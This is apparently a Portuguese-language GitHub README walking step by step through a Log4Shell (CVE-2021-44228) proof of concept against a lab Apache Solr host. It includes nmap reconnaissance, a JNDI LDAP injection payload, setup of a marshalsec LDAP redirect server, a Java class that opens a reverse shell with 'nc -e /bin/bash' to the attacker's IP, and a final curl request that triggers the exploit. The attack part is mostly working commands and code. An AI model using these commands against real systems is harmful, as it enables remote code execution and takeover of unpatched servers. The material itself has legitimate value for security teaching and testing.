lucaspdiniz/cve-2021-44228Vulnerabilidade Log4j RCE - CVE-2021-44228
Esta vulnerabilidade foi descoberta em 9 de dezembro de 2021, identificada como CVE-2021-44228, esta falha afeta o pacote de log Java, gerando uma Pontuação de Gravidade (CVSS) de 10 pontos , fornecendo execução de acesso remoto ao host. Esta vulnerabilidade é conhecida pela comunidade de segurança como LOG4SHELL.
se você quiser uma lista de fornecedores de software afetados pela vulnerabilidade LOG4J, verifique o repositório abaixo;
Para demonstrar este tipo de ataque, temos um host com a versão vulnerável (Apache Solr 8.11.0) do pacote log4j com Java 1.8.0_181.
Comece com um reconhecimento básico para entender quais portas estão abertas nesta máquina usando a ferramenta nmap (ou qualquer outra de seu interesse).
nmap -v -p- poc.log4j - Host vulnerável
Neste caso, foram encontradas 3 portas abertas. Vamos melhorar nosso nmap, informando apenas as portas abertas e o comando -sV (Retorna a versão da aplicação da porta)
nmap -v -p22,111,8983 -sV poc.log4j
Possivelmente temos um Apache rodando na Porta 8983. Abaixo podemos confirmar o Apache, esta instância do Apache Solr é provisionada sem nenhum dado. É uma instalação plana, vanilla e absolutamente mínima.
O principal vetor de ataque para log4j está no log da aplicação, onde se olharmos para a tela do Solr, podemos ver o log habilitado em Dsolr.log.dir.
Observe que o endpoint de URL que você acabou de descobrir precisa ser precedido pelo prefixo solr/ ao visualizá-lo pela interface web. Isso significa que você deve visitar:
http://poc.log4j:8983/solr/admin/cores
- por que /admin/cores ❓ 💬
Aqui encontramos a vulnerabilidade que pode ser explorada. Esta é uma chamada que recebe uma variável (params={}) para ser executada, podemos manipular esta entrada e enviar nosso payload. Abaixo podemos ver um log gerado pelo Apache chamando esta URL /admin/cores.
O formato da sintaxe usual que tira proveito disso é assim;
${jndi:ldap://ATTACKERCONTROLLEDHOST}
Esta sintaxe indica que o log4j invocará funcionalidades do "JNDI", ou "Java Naming and Directory Interface". Em última análise, isso pode ser usado para acessar recursos externos, ou "referências", que é o que é armado neste ataque. Observe o esquema ldap://, isso indica que o alvo alcançará um endpoint (um local controlado pelo atacante, no caso deste ataque) através do protocolo LDAP.
Onde poderíamos inserir esta sintaxe do ldap?
Você pode simplesmente fornecer variáveis ou parâmetros HTTP GET que serão então processados e analisados pelo log4j. Tudo o que é necessário é esta única linha de texto -- e isso torna esta vulnerabilidade extremamente fácil de explorar.
Outros locais onde você pode fornecer esta sintaxe JNDI:
Neste passo, depois de descobrirmos uma versão do log4j no host alvo, precisamos testá-la e ver se essa versão é vulnerável.
Abrimos a porta 6666 no host atacante.
nc -vnlp 6666
Faça uma requisição incluindo esta sintaxe primitiva de payload JNDI como parte dos parâmetros HTTP. Isso pode ser facilmente feito com o utilitário de linha de comando curl.
ao executar o payload, obtemos o retorno em nosso netcat na porta 6666. 🙌
Neste ponto, você verificou que o alvo é de fato vulnerável ao ver esta conexão capturada em seu listener netcat. No entanto, ela fez uma requisição LDAP... então todo o seu listener netcat pode ter visto apenas caracteres não imprimíveis (bytes estranhos). Agora podemos construir sobre esta base para responder com um manipulador LDAP real.
Como vimos no curl acima, conseguimos usar o protocolo LDAP para receber uma requisição em nosso NC. no entanto, como usamos outro protocolo, não conseguimos visualizar ou manipular a resposta.
O próximo passo é criar um servidor LDAP para podermos lidar com as requisições, vamos lá!
Para acelerar esta POC, usaremos o utilitário já pronto em https://github.com/mbechler/marshalsec
Precisamos usar o maven para usar o script marshalsec. Maven disponível em apt install maven
Dentro do repositório marshalsec, comece com o maven mvn clean package -DskipTests
Após construir o jar, podemos iniciar o servidor LDAP para redirecionar requisições
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"
Deixaremos o servidor LDAP rodando e criaremos o script para explorar o servidor.
Exploit.java com a classe abaixo.#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Vamos compilar o exploit com javac Exploit.java -source 8 -target 8. O arquivo Exploit.class será criado.
Com o exploit pronto, vamos hospedá-lo no servidor Python python3 -m http.server.
Vamos abrir uma porta com NC para receber o comando bash Java que criamos anteriormente. criamos um novo nc -lnvp 9999.
Vamos colocar tudo para funcionar! Vamos fazer um CURL forçando o servidor a procurar nosso exploit na porta 8000 que criamos com Python.
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'
